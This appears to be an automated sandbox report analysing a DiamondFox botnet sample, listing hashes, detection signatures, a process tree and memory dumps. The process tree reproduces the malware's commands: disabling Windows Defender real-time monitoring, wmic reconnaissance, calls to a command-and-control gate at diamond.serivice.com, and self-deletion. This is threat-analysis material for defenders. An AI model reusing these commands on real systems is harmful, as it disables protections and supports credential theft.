Analysis

  • max time kernel
    131s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    04-07-2021 00:03

General

  • Target

    windef.exe

  • Size

    203KB

  • MD5

    a1e165e1926c0c83123c89fce6b1af56

  • SHA1

    281246ba4b852a5f62e032424f7816f5a6b0406f

  • SHA256

    2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

  • SHA512

    28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Malware Config

Signatures

  • DiamondFox

    DiamondFox is a multipurpose botnet with many capabilities.

  • DiamondFox payload 10 IoCs

    Detects DiamondFox payload in file/memory.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 6 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 4 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\windef.exe
    "C:\Users\Admin\AppData\Local\Temp\windef.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:804
    • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
      "C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3128
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:508
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic" /Node:localhost /Namespace:\\root\SecurityCenter2 path AntiVirusProduct get DisplayName /FORMAT:List
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2284
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic" os get caption /FORMAT:List
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3836
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic" path win32_VideoController get caption /FORMAT:List
        3⤵
          PID:2880
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic" path win32_NetworkAdapterConfiguration where IPEnabled=1 get IPAddress /FORMAT:List
          3⤵
            PID:2288
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            "wmic" LogicalDisk Where DriveType=4 get VolumeName /FORMAT:List
            3⤵
              PID:3536
            • C:\Windows\SysWOW64\Wbem\wmic.exe
              "wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
              3⤵
                PID:804
              • C:\Windows\SysWOW64\Wbem\wmic.exe
                "wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
                3⤵
                  PID:2256
                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                  /scomma "C:\Users\Admin\AppData\Local\Temp\1.log"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2284
                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                  /scomma "C:\Users\Admin\AppData\Local\Temp\4.log"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of SetWindowsHookEx
                  PID:1184
                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                  /scomma "C:\Users\Admin\AppData\Local\Temp\2.log"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2320
                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                  /scomma "C:\Users\Admin\AppData\Local\Temp\3.log"
                  3⤵
                  • Executes dropped EXE
                  PID:676
                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                  X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                  3⤵
                  • Executes dropped EXE
                  PID:3356
                  • C:\Windows\notepad.exe
                    X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                    4⤵
                    • Opens file in notepad (likely ransom note)
                    PID:3652
                  • C:\Windows\write.exe
                    X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                    4⤵
                      PID:2268
                  • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                    X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:1020
                  • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                    X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:3064
                  • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                    X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                    3⤵
                    • Executes dropped EXE
                    PID:3116
                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                    "wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
                    3⤵
                      PID:2200
                    • C:\Windows\SysWOW64\Wbem\wmic.exe
                      "wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
                      3⤵
                        PID:1816
                      • C:\Windows\SysWOW64\taskkill.exe
                        "taskkill" /PID 3356 /F
                        3⤵
                        • Kills process with taskkill
                        PID:4064
                      • C:\Windows\SysWOW64\taskkill.exe
                        "taskkill" /PID 3064 /F
                        3⤵
                        • Kills process with taskkill
                        PID:1552
                      • C:\Windows\SysWOW64\taskkill.exe
                        "taskkill" /PID 3116 /F
                        3⤵
                        • Kills process with taskkill
                        PID:2060
                      • C:\Windows\SysWOW64\taskkill.exe
                        "taskkill" /PID 1020 /F
                        3⤵
                        • Kills process with taskkill
                        PID:3216
                      • C:\Windows\SysWOW64\Wbem\wmic.exe
                        "wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
                        3⤵
                          PID:3660
                        • C:\Windows\SysWOW64\Wbem\wmic.exe
                          "wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
                          3⤵
                            PID:2112
                          • C:\Users\Admin\AppData\Local\Temp\localmgr.exe
                            "C:\Users\Admin\AppData\Local\Temp\localmgr.exe"
                            3⤵
                            • Executes dropped EXE
                            PID:2940
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "powershell" Start-Sleep -s 10; Remove-Item -Path 'C:\Users\Admin\AppData\Local\Temp\windef.exe' -Force -Recurse
                          2⤵
                          • Deletes itself
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:412

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/412-126-0x0000000007840000-0x0000000007841000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-140-0x0000000008130000-0x0000000008131000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-143-0x0000000008480000-0x0000000008481000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-137-0x0000000008050000-0x0000000008051000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-135-0x0000000007EE0000-0x0000000007EE1000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-133-0x00000000077F0000-0x00000000077F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-130-0x0000000007202000-0x0000000007203000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-157-0x0000000009DF0000-0x0000000009DF1000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-162-0x0000000009580000-0x0000000009581000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-202-0x0000000007203000-0x0000000007204000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-128-0x0000000007200000-0x0000000007201000-memory.dmp

                        Filesize

                        4KB

                      • memory/412-124-0x00000000070F0000-0x00000000070F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/508-145-0x0000000008000000-0x0000000008001000-memory.dmp

                        Filesize

                        4KB

                      • memory/508-147-0x0000000007F40000-0x0000000007F41000-memory.dmp

                        Filesize

                        4KB

                      • memory/508-180-0x0000000006873000-0x0000000006874000-memory.dmp

                        Filesize

                        4KB

                      • memory/508-179-0x0000000009200000-0x0000000009201000-memory.dmp

                        Filesize

                        4KB

                      • memory/508-178-0x0000000009040000-0x0000000009041000-memory.dmp

                        Filesize

                        4KB

                      • memory/508-129-0x0000000006870000-0x0000000006871000-memory.dmp

                        Filesize

                        4KB

                      • memory/508-131-0x0000000006872000-0x0000000006873000-memory.dmp

                        Filesize

                        4KB

                      • memory/508-172-0x0000000008CC0000-0x0000000008CC1000-memory.dmp

                        Filesize

                        4KB

                      • memory/508-166-0x000000007E840000-0x000000007E841000-memory.dmp

                        Filesize

                        4KB

                      • memory/508-164-0x0000000008CE0000-0x0000000008D13000-memory.dmp

                        Filesize

                        204KB

                      • memory/676-211-0x0000000000400000-0x0000000000455000-memory.dmp

                        Filesize

                        340KB

                      • memory/1020-217-0x0000000000400000-0x0000000000405000-memory.dmp

                        Filesize

                        20KB

                      • memory/1184-205-0x0000000000400000-0x0000000000405000-memory.dmp

                        Filesize

                        20KB

                      • memory/2284-198-0x0000000000400000-0x000000000047C000-memory.dmp

                        Filesize

                        496KB

                      • memory/2320-208-0x0000000000400000-0x0000000000422000-memory.dmp

                        Filesize

                        136KB

                      • memory/2940-238-0x0000000004FD3000-0x0000000004FD5000-memory.dmp

                        Filesize

                        8KB

                      • memory/2940-237-0x0000000004FD0000-0x0000000004FD1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3064-221-0x0000000000400000-0x0000000000406000-memory.dmp

                        Filesize

                        24KB

                      • memory/3116-227-0x0000000000400000-0x0000000000431000-memory.dmp

                        Filesize

                        196KB

                      • memory/3356-216-0x0000000000400000-0x0000000000413000-memory.dmp

                        Filesize

                        76KB